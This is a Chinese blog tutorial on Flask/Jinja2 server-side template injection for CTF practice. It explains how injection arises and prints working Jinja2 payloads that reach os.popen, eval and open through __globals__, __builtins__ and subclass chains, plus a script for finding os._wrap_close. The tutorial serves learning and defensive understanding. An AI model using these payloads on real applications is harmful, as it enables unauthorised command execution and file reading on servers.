Flask-SSTI注入

目录

flask-ssti注入

0x00开场白

  • 什么是框架注入,本身不是框架本身的问题,只是使用者自身的问题,后面也会详细的演示一下注入产生的原因,理解原因最重

  • 你能学到什么:知道SSTI怎么产生的,在SSTI点的地方能够rec

  • 在学习的时候可能不会对一些细节解释的很清楚,希望读者可以积极查看 百度(bing)来进行更为全面的学习

0x01模板注入-成因

  • 将用户的输入的内容直接拼接到模板参数中

0x02模板注入-本质

  • 数据和代码为未分离

0x03模板注入-出现

下面我们就地创建一个漏洞,详细分析一下成因,了解成因后在RCE

后端代码:

在这个示例中,我们使用了三个代码来渲染模板,分别是1,2,3

  1. 使用render_template_string()但是是传入用户输入的参数

  2. 使用render_template进行渲染,模板事先写好,然后直接传入参数:

    index.html中

  3. 第三个是render_template_string()传入参数,但是是拼接过 用户输入内容的模板

现在对三个函数进行测试,测试内容:{{7*7}}

测试结果如下:

string函数传参

直接模板传参

rt\_string拼接用户输入

从上面三个结果可以看出来,当用户输入不经过处理就输入render_template_string(到模板中,会存在很大的风险

当然,类似的代码不止这一种,任何在模板中拼接用户输入都会导致

类似的代码还有使用jinja2的Template模板的%s参数,例如:

结果也出现了注入

0x04模板注入-注入

现在我们来讨论下当赤裸裸的出现一个模板注入的时候该怎么办

0x01注入-目标

在CTF比赛中,我们目标是获取flag,这就需要指令指令,执行指令通常由两种方法

os.popen()os.system(通常不用)

system只会返回0或者1,不好用

0x02直接注入

当没有任何限制的时候就可以调用以下三个函数直接调取os从而读取内容

首先说一下注入模板的样子,有下面三个:

控制结构 {% %}
变量取值 {{ }}
注释 {# #}

通常情况下有如下的模块可以直接使用:

# flask
{{get_flashed_messages.__globals__['os'].popen('whoami').read()}}
{{url_for.__globals__['os'].popen('whoami').read()}}
# jinja2
{{lipsum.__globals__['os'].popen('whoami').read()}}
# 另外两个内置函数和正常逃逸一个思路
# 此外还有以下方法,使用于jinja2方法详细见末尾连接《不知道的新姿势》
存在eval,open和__import__三个危险函数:
{{a.__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")}}
{{a.__init__.__globals__.__builtins__.open("C:\Windows\win.ini").read()}}
{{a.__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")}}

简单解释下,__globals__就是调出所有可以当前类下可用的所有对象,用数组返回

__init__ 就是将这个对象实例化,实例化后就可以使用了

__builtins__是最初载入的一堆对象,包括str()之类的就是在这儿载入的,它的载入通常就有危险函数,详情看文末的连接

0x03 寻找注入

  1. 有时候上面的参数不能用的时候就需要用其他的方法来进行注入

  2. 主要思路就是寻找一个存在os库的方法的,然后实例化并调用它

  3. 寻找所有对象

    常用魔术方法

    __class__  返回类型所属的对象
    __mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
    __base__   返回该对象所继承的基类
    // __base__和__mro__都是用来寻找基类的
    
    __subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
    __init__  类的初始化方法
    __globals__  对包含函数全局变量的字典的引用

    这几个是基本的需要掌握的方法,现在通过这些方法来列出所有可用的对象

    ''.__class__  # 返回当前类型,
    # 
    ''.__class__.base__  # 可以换成[] ,{}, () 都可以得到结果
    # "".__class__.__bases__[0]结果也同样的
    #  
    ''.__class__.__mro__[-1] #返回继承对象元组,最后一个为基类
    # 
    ''.__class__.__base__.__subclasses__() # 返回该类下的所有可用方法类别,注意,这个是个函数,需要调用
    # [, , , , , , , ,...]
    

    到此就发现了所有的可调用类

  4. 寻找可用的类

    下一步就是寻找含有os类或者其他可用的类,怎么找呢

    • 查看所有类,然后肉眼观察那些可以利用,或者使用脚本跑出os:

      import json
      a = """
      ...
      
      """
      
      num = 0
      allList = []
      
      result = ""
      for i in a:
       if i == ">":
           result += i
           allList.append(result)
           result = ""
       elif i == "n" or i == ",":
           continue
       else:
           result += i
      
      for k,v in enumerate(allList):
       if "os._wrap_close" in v:
           print(str(k)+"--->"+v)
      #返回结果:132---> 
    • 具体就是对每个类进行实例化,然后查看是否全局含有popen就可以

      "".__class__.__bases__[0].__subclasses__()[遍历位置].__init__.__globals__['popen']('ls').read()
      

      遍历脚本脚本在此处先不展示,因为如果有注入回显,可以使用上面的方法寻找危险函数

      只有没有注入回显的时候才需要上面的爆破,最简单的方式就是通过burp sutie进行爆破。

  5. 到此我们就完成了寻找os库执行命令的功能,下一节就开始探索绕过,也是重要性拉满的

Flask模板注入小结 | tyskillのBlog

https://mp.weixin.qq.com/s/Uvr3NlKrzZoWyJvwFUFlEA

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本站及文章作者不为此承担任何责任。

本站拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经本站允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇